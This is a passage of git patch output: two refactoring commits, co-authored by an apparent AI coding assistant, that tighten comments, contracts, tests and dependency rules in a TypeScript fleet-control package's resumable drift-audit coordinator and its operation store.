liveNamespaceOwners = new Map(); + // A third full walk over every namespace claim, after the + // `namespace-expectations` stage above already visited each one. The walker + // made the collision rule single-sourced but not its execution; having the + // stage report its collisions instead would remove this pass. Recorded + // rather than changed: the drain is not the bounded path's hot loop. const duplicateNamespaceIds = new Set( fleetAuditRecordsDerivedDuplicateNamespaceIds(auditedRecords), ); From 4990c0ef98c4e16a7188ec0a3b1974b768105cb6 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 3 Sep 2026 15:50:35 +0400 Subject: [PATCH 063/169] refactor(fleet-control): close the R4-B.2 N-A nit ledger Applies the pending-nit ledger raised by the four review lanes that cleared 92922dd -- 34 items after deduplication, 29 applied and 5 recorded without a code change. Polish, with two deliberate exceptions noted below. Most of the ledger is comment and contract accuracy: a watermark JSDoc that described a dense-prefix guard as a total row count, a bound documented as aggregate that is enforced per kind, a run-record key list missing its optional terminal timestamp, a `readOperation` doc implying lease fencing the sole implementation does not provide, and a "third full walk" that named only one of the two walks preceding it. Two items change behaviour, both restoring a property the parent commit lost: - The revision-1 committed progress forces `generation` to the value the pin was taken at, rather than spreading whatever generation the store echoed back. Every later `releasePin` reads `progress.generation` off the persisted record -- `failAudit` unguarded, `abandonFleetAuditOperation` on both arms -- so a store echoing a different generation on the `created` outcome would release a pin that was never taken and leak the real one. That line was deleted one commit ago because three review lanes proved the two values equal for any conforming store; it now carries a comment recording why it is forced, so the next reader does not remove it again. - `advancePerRecordChunk` indexes its record array and refuses `undefined` rather than casting. Under `noUncheckedIndexedAccess` the old cast was load-bearing, and the bounds guard that made it safe lives in the caller. `readOperationRowsPage` gains a capacity requirement: an implementation must accept any `limit` from 1 through 1,000 and refuse one outside its supported range rather than clamping. The reader passes a fixed page size with no negotiation, so a store supporting a narrower range would have satisfied the previous wording and thrown on every whole-set row read. `advanceGlobalStage` is inlined at its single call site; the two adjacent per-record branches in `advanceOneChunk` are merged; and the duplicated structure-refusal literal joins its sibling as a named constant. Verification: package typecheck (both tsconfigs), Biome, 359 of 359 tests across eight files including the real-D1 Wrangler harness, both frozen baselines byte-matched (audit 47 findings / 86 ops, drain 53/20/5/6), dependency-cruiser clean over 493 modules, and a diff-stat emptiness proof over `index.ts`, both read-only sources, and all of `test/`, `scripts/`, `docs/` and `.changeset/`. Review: four independent lanes over two rounds. Round 1 returned three substantive findings -- a contiguity claim attributed to a port the dominant write path never calls, the capacity gap above, and a restored override left without the reasoning that makes it necessary -- plus one nit promoted after the architecture lane showed the guard added for defence in depth was blind in the one direction it existed to catch. Co-Authored-By: Claude Opus 5 (1M context) Claude-Session: https://claude.ai/code/session_01LTuu16bydBMiYSEAEgMWJR --- .../fleet-control/src/fleet-audit-advance.ts | 109 ++++++++++-------- .../src/fleet-operation-state.ts | 54 ++++++--- packages/fleet-control/src/fleet.ts | 33 ++++-- 3 files changed, 122 insertions(+), 74 deletions(-) diff --git a/packages/fleet-control/src/fleet-audit-advance.ts b/packages/fleet-control/src/fleet-audit-advance.ts index 4f40f8c5..4b33bc1c 100644 --- a/packages/fleet-control/src/fleet-audit-advance.ts +++ b/packages/fleet-control/src/fleet-audit-advance.ts @@ -86,6 +86,9 @@ const MIN_MAX_ITEMS_PER_CALL = 1; const MAX_MAX_ITEMS_PER_CALL = 2_000; /** Fixed refusal shared by the coordinator's own count check and the intake's. */ const RECORD_COUNT_MESSAGE = `fleet audit start accepts at most ${FLEET_OPERATION_ITEM_BOUND} records`; +/** Fixed refusal shared by the coordinator's own shape check and the intake's. */ +const RECORD_STRUCTURE_MESSAGE = + 'fleet audit record exceeds the intake structure bounds'; /** One bounded audit step: begin an operation, or continue a persisted one. */ export type FleetAuditAdvanceAction = @@ -155,9 +158,10 @@ export type FleetAuditAdvanceResult = }> /** * The operation is FAILED, and the failing call released its generation pin. - * A pin that outlived a crash between the terminal commit and that release is - * cleared by `abandonFleetAuditOperation()`. `failure` carries the durable - * reason; failed operations are still readable. + * A pin that survives the terminal commit — because the process crashed + * before the release, or because the release itself failed — is cleared by + * `abandonFleetAuditOperation()`. `failure` carries the durable reason; + * failed operations are still readable. */ | Readonly<{ status: 'failed'; @@ -275,6 +279,10 @@ function pinnedBy(operationId: string): string { * The `pending` result for a run record the store has just committed. Every * chunk that leaves the operation RUNNING reports the persisted stage read * back through the codec, never the stage it computed. + * + * Kept beside `resultFromRun`'s running arm rather than folded into it on + * purpose: each of the four call sites has just committed a RUNNING record, + * and reporting only `pending` is the narrowing that states so. */ function pendingFromCommitted( committed: FleetOperationRunRecord, @@ -327,8 +335,8 @@ function findingRowWithGatedDetail( } /** - * Stages one durable row, overloading two distinct signals on one return so - * every call site can treat them uniformly: + * Stages one durable row, reporting two distinct refusals by two distinct + * routes: * * - `undefined` means the payload exceeds the staged-row envelope. That is a * caller-visible emission bound, so the site fails the operation durably @@ -336,8 +344,9 @@ function findingRowWithGatedDetail( * - a thrown `FleetOperationStateError` means the payload does not satisfy * the row codec at all, which is durable corruption and propagates. * - * No site needs to tell the two apart, which is why a discriminated result - * would buy nothing here. + * No site needs to branch on the difference — only the envelope refusal + * arrives as a value — which is why a discriminated result would buy nothing + * here. */ function stagedAuditRow( rowKind: 'finding' | 'fact', @@ -381,7 +390,7 @@ interface GlobalStageContext { readonly inventory: FleetResourceInventory; readonly auditedRecords: readonly FleetRecord[]; readonly known: FleetAuditKnownSets; - readonly recordsByScript: ReturnType; + readonly recordsByScript: ReadonlyMap; } /** The one accessor for the optional R2 inventory slice. */ @@ -398,6 +407,9 @@ function chunked( emit: (slice: readonly T[], ordinal: number) => readonly DriftFinding[], ): GlobalStageChunk { const ordinal = fleetAuditStageOrdinal(stage); + // Unreachable: `finalize` is the only cursor-less step, and + // `GlobalAuditStage` excludes it. The arm stays because the accessor is + // typed over the whole stage union and so returns `number | undefined`. if (ordinal === undefined) return malformed(); // A global stage never persists a cursor at the end of its own source, so // the only admissible cursor for an empty source is zero. @@ -541,15 +553,6 @@ const GLOBAL_STAGE_DESCRIPTORS = Object.freeze({ ), } satisfies Readonly>); -/** Advances one bounded chunk of the current global stage. */ -function advanceGlobalStage( - stage: GlobalAuditStage, - maxItemsPerCall: number, - context: GlobalStageContext, -): GlobalStageChunk { - return GLOBAL_STAGE_DESCRIPTORS[stage.step](stage, maxItemsPerCall, context); -} - function buildInitialAuditRunRecord( input: Readonly<{ operationId: string; @@ -692,7 +695,8 @@ async function advancePerRecordChunk( records: readonly FleetRecord[], auditedRecords: readonly FleetRecord[], ): Promise { - const record = records[stage.recordOrdinal] as FleetRecord; + const record = records[stage.recordOrdinal]; + if (record === undefined) return malformed(); const recordsByScript = fleetAuditRecordsByScript(auditedRecords); const liveByScript = fleetAuditLiveByScript(inventory.deployments); const liveRoutesByHostname = fleetAuditLiveRoutesByHostname(inventory.routes); @@ -755,7 +759,7 @@ async function advancePerRecordChunk( store: options.fleetStore, staleAfterMs: progress.staleAfterMs, auditNow: progress.auditTimeMs, - authorityNowProvider: options.authorityClock ?? Date.now, + authorityNowProvider: () => (options.authorityClock ?? Date.now)(), }); // The three fact kinds differ only in their source collection and payload @@ -877,7 +881,7 @@ async function advanceOneChunk( // source length and spends a whole extra stage-running call — a full // generation re-read and a record-row re-page included — on the pure // transition to `finalize`. That is deliberate: the call is the leading 1 - // in the documented per-call cost formula. + // in the documented aggregate stage-running-call count. const newProgress: FleetAuditProgress = { ...progress, revision: progress.revision + 1, @@ -894,28 +898,28 @@ async function advanceOneChunk( }); return pendingFromCommitted(committed); } - } - const auditedRecords = fleetAuditAuditedRecords(records); - - if (progress.stage.step === 'per-record') { return advancePerRecordChunk( options, lease, run, progress, - progress.stage, + perRecordStage, inventory, records, - auditedRecords, + fleetAuditAuditedRecords(records), ); } - - const chunk = advanceGlobalStage(progress.stage, maxItemsPerCall, { - inventory, - auditedRecords, - known: fleetAuditKnownSets(records), - recordsByScript: fleetAuditRecordsByScript(auditedRecords), - }); + const auditedRecords = fleetAuditAuditedRecords(records); + const chunk = GLOBAL_STAGE_DESCRIPTORS[progress.stage.step]( + progress.stage, + maxItemsPerCall, + { + inventory, + auditedRecords, + known: fleetAuditKnownSets(records), + recordsByScript: fleetAuditRecordsByScript(auditedRecords), + }, + ); const findingRows: FleetOperationStagedRow[] = []; for (const [index, finding] of chunk.findings.entries()) { const row = stagedAuditRow( @@ -980,7 +984,7 @@ async function startAudit( if ( inputRecords.some((record) => record === null || typeof record !== 'object') ) { - throw new Error('fleet audit record exceeds the intake structure bounds'); + throw new Error(RECORD_STRUCTURE_MESSAGE); } const intake = fleetOperationItemsIntake({ envelope: { @@ -998,9 +1002,7 @@ async function startAudit( // unreachable here; the helper retains it for other callers. throw new Error(RECORD_COUNT_MESSAGE); case 'item-structure': - throw new Error( - 'fleet audit record exceeds the intake structure bounds', - ); + throw new Error(RECORD_STRUCTURE_MESSAGE); case 'item-bytes': throw new Error('fleet audit record exceeds the staged row byte bound'); case 'aggregate-bytes': @@ -1019,10 +1021,11 @@ async function startAudit( } const intakeDigest = intake.digest; const records = intake.items; - // Narrows `unknown` intake items to `FleetRecord` on `tenantTag` and - // `environment` alone, so the array asserts more shape than is checked. - // Every entry is staged whole by the `payload` cast below, and fields - // beyond those two are re-read only by the `advanceOneChunk` decode. + // Narrows `unknown` intake items to `FleetRecord` on object-ness plus + // `tenantTag` and `environment` alone, so the array asserts more shape than + // is checked. Every entry is staged whole by the `payload` cast below, and + // fields beyond those two are re-read only from the staged rows in + // `advanceOneChunk`. if ( !records.every((record): record is FleetRecord => { if (record === null || typeof record !== 'object') return false; @@ -1120,6 +1123,14 @@ async function startAudit( }); const committedProgress: FleetAuditProgress = { ...recordProgress, + // Forced, not spread: the pin was taken at `pinGenerationValue`, + // while `recordProgress` carries whatever generation the store + // echoed back. Every later `releasePin` reads `progress.generation` + // off the persisted record — `failAudit` unguarded, and + // `abandonFleetAuditOperation` on both arms — so a store echoing a + // different generation on the `created` outcome would otherwise + // release a pin that was never taken and leak the real one. + generation: pinGenerationValue, revision: 1, }; try { @@ -1219,10 +1230,18 @@ export async function advanceFleetAudit( * * A caller pages the whole set with * `afterOrdinal = (afterOrdinal ?? -1) + findings.length` until `done`. That - * idiom rests on the assumption `FleetOperationStore.readOperationRowsPage` - * states as a conformance requirement: finding ordinals are contiguous from - * zero, and a page holds the smallest qualifying ordinals. This reader - * checks the assumption instead of trusting it, so a non-conforming store + * idiom rests on two assumptions with two different owners. Finding ordinals + * are contiguous from zero because the WRITE PATH enforces it, not because + * the read port promises it: this coordinator numbers each finding row + * `findingCount + index`, and each commit that advances `findingCount` + * passes `expectedRowWatermarks.finding` at the new count — which + * `FleetOperationLease.commitProgress` defines as a dense-prefix assertion + * over the first N ordinals, so it holds whatever order the rows landed in. + * Both routes take it: the per-record chunk commits its finding rows inline, + * the global stage pre-stages them through `stageRows` and commits the + * watermark after. That a page holds the smallest qualifying ordinals IS the + * conformance requirement `FleetOperationStore.readOperationRowsPage` states. + * This reader checks both instead of trusting them, so a non-conforming store * cannot spin the loop forever. * * Refuses an unknown operation with `FleetOperationTokenOperationError`, an diff --git a/packages/fleet-control/src/fleet-operation-state.ts b/packages/fleet-control/src/fleet-operation-state.ts index e85637fb..60c1dbe3 100644 --- a/packages/fleet-control/src/fleet-operation-state.ts +++ b/packages/fleet-control/src/fleet-operation-state.ts @@ -5,8 +5,8 @@ import { cloneBoundedPlainData } from './strict-plain-data.js'; /** * Envelope bound for one operation RUN RECORD — the `{version, operationId, - * kind, state, progress, updatedAt}` document `fleetOperationRunRecordFromUnknown` - * parses. Not a staged-row bound. + * kind, state, progress, updatedAt, terminalAtMs?}` document + * `fleetOperationRunRecordFromUnknown` parses. Not a staged-row bound. */ export const FLEET_OPERATION_RECORD_BYTE_BOUND = 96 * 1024; export const FLEET_OPERATION_TOKEN_BYTE_BOUND = 1024; @@ -36,8 +36,8 @@ export const FLEET_OPERATION_INTAKE_BYTE_BOUND = 16 * 1024 * 1024; /** Statements per D1 batch used by the staging protocol. */ export const FLEET_OPERATION_STAGE_BATCH_STATEMENTS = 100; /** - * Aggregate cap on the non-`record` staged rows one operation may read back: - * at most 99 rows per record times 10,000 records. The 99 is the per-record + * Per-kind cap on the non-`record` staged rows one read may return: at most + * 99 rows per record times 10,000 records. The 99 is the per-record * batch ceiling the audit coordinator enforces over the `finding` and `fact` * rows one record emits together, the remaining statement of the batch being * the run record's own update. It derives no bound for a global stage's @@ -47,9 +47,9 @@ export const FLEET_OPERATION_STAGE_BATCH_STATEMENTS = 100; export const FLEET_OPERATION_ROW_READ_BOUND = (FLEET_OPERATION_STAGE_BATCH_STATEMENTS - 1) * FLEET_OPERATION_ITEM_BOUND; /** - * Rows requested per `readOperationRowsPage` call. The guide's documented - * O(records²/1,000) per-call re-page term is this divisor, so changing it - * changes that published cost figure. + * Rows requested per page by `readAllFleetOperationRows`. The guide's + * documented aggregate O(records²/1,000) re-page term is this divisor, so + * changing it changes that published cost figure. */ const FLEET_OPERATION_ROW_PAGE_LIMIT = 1_000; /** Frozen plan length cap (fixed steps plus pending D1 versions). */ @@ -181,9 +181,10 @@ export class FleetOperationStoreCapabilityError extends Error { } /** - * The fixed refusal message every coordinator raises when a persisted - * operation carries the other operation kind. It lives here so the audit and - * migration coordinators emit byte-identical text. + * The fixed refusal message the audit coordinator raises when a persisted + * operation carries the other operation kind. It lives here so that + * coordinator's sites and R4-C.2's migration coordinator emit byte-identical + * text; `D1FleetOperationStore` still carries its own copy of the literal. */ export function fleetOperationOtherKindMessage(operationId: string): string { return `fleet operation '${operationId}' belongs to the other operation kind`; @@ -215,7 +216,15 @@ export interface FleetOperationStore { * beginning. `done` means no matching rows remain beyond this page. Callers * do not rely on the ordering of rows within a page. A page contains the * smallest qualifying ordinals; omitting a row whose ordinal is below one - * the page returns is non-conforming. + * the page returns is non-conforming. An implementation must accept any + * `limit` from 1 through 1,000, and refuses one outside the range it + * supports rather than clamping it, so an out-of-range `limit` fails closed + * at the store. The upper end is a hard requirement, not a preference: + * `readAllFleetOperationRows` passes this module's + * `FLEET_OPERATION_ROW_PAGE_LIMIT` — 1,000, and unexported, so the bound is + * restated here as a literal — as the `limit` on every page it requests, + * with no negotiation, so a store supporting a narrower range throws on + * every whole-set row read. */ readOperationRowsPage( input: Readonly<{ @@ -276,7 +285,11 @@ export interface FleetOperationLease { record: FleetOperationRunRecord; }> >; - /** The lease-scoped read of one run record; `undefined` when none exists. */ + /** + * The read available while holding the lease; `undefined` when no such + * operation exists. Implementations may serve it from the same unleased row + * read as `readOperationById`. + */ readOperation( operationId: string, ): Promise; @@ -304,10 +317,10 @@ export interface FleetOperationLease { * the same transaction. For each named kind `expectedRowWatermarks` asserts * that the first N ordinals are all present after the write — a dense-prefix * check rather than a total count — so a partially applied batch is refused - * while a retry that already staged byte-identical rows at higher ordinals - * still commits; `finalizeOperation`'s totals close those surplus ordinals - * out. Returns the persisted record, which is the only authoritative - * post-commit state. + * while a retry that already staged rows at higher ordinals still commits; + * a later call's higher watermark, or `finalizeOperation`'s totals, close + * those surplus ordinals out. Returns the persisted record, which is the + * only authoritative post-commit state. */ commitProgress( input: Readonly<{ @@ -450,6 +463,10 @@ function fleetOperationBoundedPlain(value: unknown, maxBytes: number): unknown { ) { return malformed(); } + // The spread is bounded: `cloneBoundedPlainData` admits no array longer + // than `FLEET_OPERATION_NODE_BOUND`, so it stays far below the engine's + // argument limit and cannot raise the `RangeError` that would escape this + // walk unconverted. if (Array.isArray(current)) pending.push(...current); else if (current && typeof current === 'object') { for (const [key, entry] of Object.entries(current)) { @@ -782,9 +799,8 @@ export function isDurableAuditDetailSafe(value: unknown): boolean { } // --------------------------------------------------------------------------- -// Store-facing helpers. These sit below the pure codec primitives because -// they reach the operation store, and the section above must stay free of -// store IO. +// Store-facing helpers. These sit below the pure codec primitives, and the +// section above must stay free of store IO. // --------------------------------------------------------------------------- /** diff --git a/packages/fleet-control/src/fleet.ts b/packages/fleet-control/src/fleet.ts index 734d9ce7..c6071d9f 100644 --- a/packages/fleet-control/src/fleet.ts +++ b/packages/fleet-control/src/fleet.ts @@ -54,6 +54,7 @@ import type { LiveDeployment, MaintenanceHealth, ProvisioningBackend, + ProvisioningPhase, } from './types.js'; import { assertNoActiveCleanup, @@ -1051,25 +1052,35 @@ export function auditNamespaceExpectationsStage( } /** Lifecycle phases whose records no longer expect their R2 buckets. */ -const R2_EXPECTATION_EXCLUDED_PHASES: readonly string[] = Object.freeze([ +const R2_EXPECTATION_EXCLUDED_PHASES = Object.freeze([ 'application-resources-deleted', 'database-exported', 'database-deleting', 'decommissioned', -]); +] as const satisfies readonly ProvisioningPhase[]); export function auditR2ExpectedStage( input: Readonly<{ records: readonly FleetRecord[]; - /** Pre-seeded by the caller (empty for the drain's one full-array call; the - * §6.1 prefix rebuild for a bounded chunk); mutated in place. */ + /** + * An INPUT the stage reads and also mutates: the caller supplies the + * claims already made (empty for the drain's one full-array call, the + * §6.1 prefix rebuild for a bounded chunk), and the stage adds this + * slice's claims to it as it walks. Reading it is load-bearing — a bucket + * already in the map is what makes an `r2-bucket-drift` collision visible + * across a chunk boundary. The drain reads the finished map back for its + * `r2-orphans` and `r2-missing-identity` stages; the bounded path rebuilds + * it with `fleetAuditExpectedBucketsSeed` instead. + */ expectedBuckets: Map; }>, ): readonly DriftFinding[] { const findings: DriftFinding[] = []; for (const record of input.records) { const phase = effectiveLifecyclePhase(record); - if (R2_EXPECTATION_EXCLUDED_PHASES.includes(phase)) continue; + if (R2_EXPECTATION_EXCLUDED_PHASES.some((excluded) => excluded === phase)) { + continue; + } for (const resource of record.applicationResources ?? []) { if (resource.state !== 'created' || !resource.creationDate) continue; const prior = input.expectedBuckets.get(resource.bucketName); @@ -1876,11 +1887,13 @@ export async function auditFleetDrift(options: { ); const databases = new Map(); const liveNamespaceOwners = new Map(); - // A third full walk over every namespace claim, after the - // `namespace-expectations` stage above already visited each one. The walker - // made the collision rule single-sourced but not its execution; having the - // stage report its collisions instead would remove this pass. Recorded - // rather than changed: the drain is not the bounded path's hot loop. + // A third full walk over every namespace claim: + // `fleetAuditExpectedNamespaceIds` collected the claimed ids for + // `namespace-orphans` above, and the `namespace-expectations` stage then + // visited each claim again. The walker made the collision rule + // single-sourced but not its execution; having the stage report its + // collisions instead would remove this pass. Recorded rather than changed: + // the drain is not the bounded path's hot loop. const duplicateNamespaceIds = new Set( fleetAuditRecordsDerivedDuplicateNamespaceIds(auditedRecords), ); From 9613fb90b1fa7e03a53fdb0eeba3c6223c958196 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 3 Sep 2026 20:58:17 +0400 Subject: [PATCH 064/169] refactor(fleet-control): apply the R4-B.2 docs and architecture nit ledger Applies the architecture-control and documentation half of the review-nit ledger raised against the bounded fleet audit coordinator: ARCH-1..5, DOC-1..17, two entries deferred out of 92922dd (ADV-8, ADV-31), the documentation half of ADV-32, and TEST-5 -- nine paths, +262/-65. The guide and the threat model now state the start-time refusal order as the fixed sequence it is -- operation id, staleAfterMs, explicit generation, record count, array-wide structure, per-record intake in array order under first-true-predicate classification, array-wide identifier grammar, then the lease -- where both previously enumerated the refusals without an order. The threat model no longer says the coordinator reads no caller-supplied object after intake: it names the functions that are still consulted afterward (auditClock inside the lease; backendFor, specFor, maintenanceSecretFor, and authorityClock behind their preceding steps) and that a record-processing call can complete without invoking any of them. The `fleet operation state is malformed` scope is narrowed to the operation store, since a per-record advance can already have committed its maintenance re-arm to the Fleet state store; the six fixed detail-template families are enumerated, adding the maintenance re-arm failure the previous grouping omitted; the audit clock is documented as sampled after the generation is resolved on the create branch and as the one durable write taken from it; and the 99-row per-record emission ceiling reads the same in the guide and the changeset. readFleetAuditFindingsPage() now returns nextAfterOrdinal, the cursor to pass back as afterOrdinal -- optional, absent only on an empty terminal page. Its JSDoc, the guide, and the changeset publish the same idiom, and the JSDoc says which of the two guarantees behind that cursor the write path enforces and which the store port requires. index.ts is byte-identical: the field changes a result type, not the export list. A reader-conformance test drives a non-conforming store through the reader's page-conformance refusals -- an empty page while unfinished; a gapped, repeated, shifted, or below-cursor run -- and pages a conforming one by consuming the published cursor, bounded at findings + 1 pages so a non-progressing cursor fails the assertion instead of spinning: a tight await loop over the in-memory fake never yields to vitest's timeout timer, and the unbounded form ran to a heap OOM under mutation. A driveToStage helper beside driveToTerminal replaces two unbounded drive loops and one hand-rolled cap with the same cap-then-throw idiom. The dependency-cruiser rule fleet-control-operation-advance-avoids-concrete- transports gains plain-worker-backend, workers-for-platforms-backend, and cloudflare-rate-coordinator in its to-set. None reached a member of the old set, so a direct import of any of them from the coordinator passed the rule; wrangler-loop-backend, a provisioning backend like the first two, was already forbidden by name. The rule's comment is rewritten: it described a migration coordinator that does not yet exist, attributed the type-only SDK edge to fleet.ts when provider-binding-inventory.ts holds it, gave one reason for three excluded modules that each have their own, and claimed every concrete transport was forbidden. It now lists the coordinator's eight direct imports, the seventeen forbidden members, and the four reachable modules deliberately left out with each one's reason. The positive control asserts that the real coordinator's runtime-reachable set contains no member of the rule's own to-set, compiled from the rule so it tracks it. Verification: package typecheck, Biome, 187 of 187 tests across five files, both frozen baselines byte-matched (audit 47 findings / 20 kinds / 86 operations; drain 53 / 20 / 5 / 6), dependency-cruiser clean over 493 modules and 1,697 dependencies with all 30 positive controls passing, and docs:check over 55 Markdown files. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_012csLGuRVDj7qGD6NWcc6Bn --- .changeset/bounded-fleet-audit.md | 11 +- .dependency-cruiser.cjs | 4 +- docs/fleet-control.md | 14 +- docs/security-threat-model.md | 8 +- packages/fleet-control/CLAUDE.md | 1 + .../fleet-control/src/fleet-audit-advance.ts | 37 ++-- .../test/fleet-audit-advance.test.ts | 203 +++++++++++++++--- .../operation-advance-imports-provider.ts | 11 + .../architecture-positive-controls.test.mjs | 38 ++++ 9 files changed, 262 insertions(+), 65 deletions(-) diff --git a/.changeset/bounded-fleet-audit.md b/.changeset/bounded-fleet-audit.md index 35cc7dd8..befb34c7 100644 --- a/.changeset/bounded-fleet-audit.md +++ b/.changeset/bounded-fleet-audit.md @@ -2,13 +2,14 @@ '@proofoftech/fleet-control': minor --- -Add a bounded, resumable fleet drift audit API with a durable, provider-neutral operation store. `advanceFleetAudit()` performs at most one bounded stage chunk per call — one global-stage slice of up to `maxItemsPerCall` items (1..2,000, default 500), or exactly one Fleet record's inspection and re-arm — against a `FleetOperationStore`; `D1FleetOperationStore` implements that port over the existing Fleet D1 binding with account-and-kind-scoped leases, lease-fenced guarded batches, and audit generation pinning. Call `start` with an operation id, the audited records, and `staleAfterMs`, then re-enqueue only the pending token each call returns. Start requires at most 10,000 records whose canonical bytes total at most 16 MiB, with each record within the 96 KiB staged-row byte bound and the per-record structure bounds: plain JSON data (no `undefined`-valued properties, dates, class instances, or cycles) within depth 64, 8,192 nodes, and 4 KiB per string value or object key. Every record must satisfy the deployment identifier grammar, and an explicit generation must be a positive safe integer. Every such refusal has a fixed message and precedes every durable effect. The `staleAfterMs` and operation-id refusals also occur before the lease; after the lease row is written, the foreign-kind, no-finalized-generation, and `auditClock`-sample refusals write nothing else. These accepted inputs are intentionally narrower than `auditFleetDrift()`, which does not require that identifier grammar, an explicit generation, or the bounded path's row and structure bounds. Read the findings back page by page with `readFleetAuditFindingsPage()` once the operation is terminal; `abandonFleetAuditOperation()` unblocks a stuck running operation and releases any pin an already-terminal one still holds. +Add a bounded, resumable fleet drift audit API with a durable, provider-neutral operation store. `advanceFleetAudit()` performs at most one bounded stage chunk per call — one global-stage slice of up to `maxItemsPerCall` items (1..2,000, default 500), or exactly one Fleet record's inspection and re-arm — against a `FleetOperationStore`; `D1FleetOperationStore` implements that port over the existing Fleet D1 binding with account-and-kind-scoped leases, lease-fenced guarded batches, and audit generation pinning. Call `start` with an operation id, the audited records, and `staleAfterMs`, then re-enqueue only the pending token each call returns. Start requires at most 10,000 records whose canonical bytes total at most 16 MiB, with each record within the 96 KiB staged-row byte bound and the per-record structure bounds: plain JSON data (no `undefined`-valued properties, dates, class instances, or cycles) within depth 64, 8,192 nodes, and 4 KiB per string value or object key. Every record must satisfy the deployment identifier grammar, and an explicit generation must be a positive safe integer. Every such refusal has a fixed message and precedes every durable effect. The `staleAfterMs` and operation-id refusals also occur before the lease; after the lease row is written, the foreign-kind, no-finalized-generation, and `auditClock`-sample refusals write nothing else. These accepted inputs are intentionally narrower than `auditFleetDrift()`, which does not require that identifier grammar, an explicit generation, or the bounded path's row and structure bounds. Read the findings back page by page with `readFleetAuditFindingsPage()` once the operation is terminal. Each page comes back in ordinal order whatever order the store's page arrived in and carries `nextAfterOrdinal`, the cursor to pass back as `afterOrdinal` on the next call — absent only on an empty page, which is legal only when `done` is set. The reader verifies the page rather than trusting it: a page that is empty while unfinished, or that is not the contiguous ordinal run following the cursor, refuses with `fleet operation state is malformed`. `abandonFleetAuditOperation()` unblocks a stuck running operation and releases any pin an already-terminal one still holds. - `auditFleetDrift()` keeps its exact signature, refusal message, finding vocabulary, finding order, provider interaction order, return value, and stop behavior. It now drains the same decomposed stages in memory, and a frozen golden baseline (findings and the full store/backend/resolver call log) pins all of that. - **HARDENING:** the bounded engine never persists the raw diagnostic bytes a one-shot audit composes call-locally. The three resolvers, the inspection, the re-arm, and the segmented multi-duty `maintenance-stale` composition durably record a fixed template alone; any finding detail, composed by the engine or passed through from the pinned inventory generation, that fails a non-throwing credential-substring and control-byte gate persists a fixed withheld-detail fallback instead of aborting the operation. - An audit start pins exactly one finalized `@proofoftech/fleet-control` R3 inventory generation and keeps it through completion, so a finding page stays interpretable against the exact generation it was computed from; only explicit result garbage collection, terminal failure, or abandonment releases it. A replayed start never re-resolves "latest": it reuses the persisted generation. -- Every finding or fact must fit the staged-row envelope: a 16 KiB JSON-serialized payload, 4 KiB per string, and the codec's depth and node bounds. The coordinator detects an excess before the store sees the row, fails the whole operation with the durable `emission-bound-exceeded` reason, and releases the pin. One record's whole per-call emission set (its findings plus the cross-record ownership facts it newly claims) must also fit inside the one guarded D1 batch its `per-record` call commits — a ceiling of 99 rows. A record whose live inspection alone would approach that ceiling fails with the same reason rather than emitting a partial finding set. -- The bounded path differs from the drain in exactly four classes: every resolver, inspection, and re-arm failure and every multi-duty `maintenance-stale` finding persists one of the six fixed detail-template families where the drain composes the raw diagnostic; any unsafe finding detail, composed or passed through, becomes the fixed withheld-detail fallback; concurrent mutation can cause either a re-arm refusal on a Fleet reread mismatch or inspection-derived findings against later provider truth, with the bounded path's typically older snapshot making both more likely; and `emission-bound-exceeded` (from the staged-row envelope or the 99-row ceiling) and `generation-unavailable` are terminal whole-operation failures with no drain counterpart, while `auditFleetDrift()` completes and returns its full finding array over the identical world and clocks. Every other output is proven byte-for-byte equivalent to the drain under identical frozen worlds and clocks. -- Per-call cost is not free: every advance call that runs a stage chunk re-reads the pinned generation in full and re-pages the accumulated `record` rows; a record-processing `per-record` call additionally re-pages the accumulated `fact` rows. Each stage-running call also structurally re-parses every accumulated `record` row through three plain-data traversals. `finding` rows are never re-paged. A stale token, a `start`, and a `finalize` call read neither. The complete aggregate cost of one bounded audit spans `1 + records + Σ max(1, ⌈source_i / maxItemsPerCall⌉)` stage-running calls: one per-record-to-finalize transition, one processing call per record, and at least one call per global source. Every such call re-reads O(G) generation rows and re-pages and structurally re-parses O(R) accumulated `record` rows; a record-processing `per-record` call additionally re-pages accumulated `fact` rows. In the records-dominated case, this is O(records) full generation re-reads, O(records²/1,000) accumulated-row page reads, O(records²) billed rows read, and O(records²) structural `FleetRecord` re-parses at three plain-data traversals each, the dominant CPU term. This checkpoint's in-memory suite measured about 0.25 ms per record-row re-parse per call: one per-record call over 1,001 accumulated rows took roughly 0.5 s in fix 7, and a 1,200-record full drain took roughly 122 s in fix 6. A late per-record call at the 10,000-record ceiling therefore spends seconds of isolate CPU re-parsing before its provider work. The per-call guarantee covers bounded provider work and bounded emission, not bounded CPU or bounded rows read. See the fleet control guide for the full envelope. +- Every finding or fact must fit the staged-row envelope: a 16 KiB JSON-serialized payload, 4 KiB per string, and the codec's depth and node bounds. The coordinator detects an excess before the store sees the row, fails the whole operation with the durable `emission-bound-exceeded` reason, and releases the pin. One record's whole per-call emission set (its findings plus the cross-record ownership facts it newly claims) must also fit inside the one guarded D1 batch its `per-record` call commits — a ceiling of 99 rows: 99 emitted rows plus the one run-record update is exactly the 100-statement budget and is accepted, while 100 or more emitted rows fail. A record whose live inspection alone would emit 100 rows fails with the same reason rather than emitting a partial finding set. +- The bounded path differs from the drain in exactly four classes: every resolver, inspection, and re-arm failure and every multi-duty `maintenance-stale` finding persists one of the six fixed detail-template families where the drain composes the raw diagnostic; any unsafe finding detail, composed or passed through, becomes the fixed withheld-detail fallback; concurrent mutation can cause either a re-arm refusal on a Fleet reread mismatch or inspection-derived findings against later provider truth, with the bounded path's typically older snapshot making both more likely; and `emission-bound-exceeded` (from the staged-row envelope or the 99-row ceiling) and `generation-unavailable` are terminal whole-operation failures with no drain counterpart, while `auditFleetDrift()` completes and returns its full finding array over the identical world and clocks. Every other output is proven byte-for-byte equivalent to the drain under identical frozen worlds and clocks. The four-class claim also assumes `backendFor`, `specFor`, and `maintenanceSecretFor` are functions of record *value*: the bounded path hands them canonical snapshots rebuilt from the staged rows, never the caller's own objects, so an identity- or prototype-keyed resolver diverges from the drain in a fifth way this list does not cover. +- Per-call cost is not free: every advance call that runs a stage chunk re-reads the pinned generation in full and re-pages the accumulated `record` rows; a record-processing `per-record` call additionally re-pages the accumulated `fact` rows. Each stage-running call also structurally re-parses every accumulated `record` row through three plain-data traversals. That three is this coordinator's own ingress only: against the D1 store each of those same rows additionally costs a 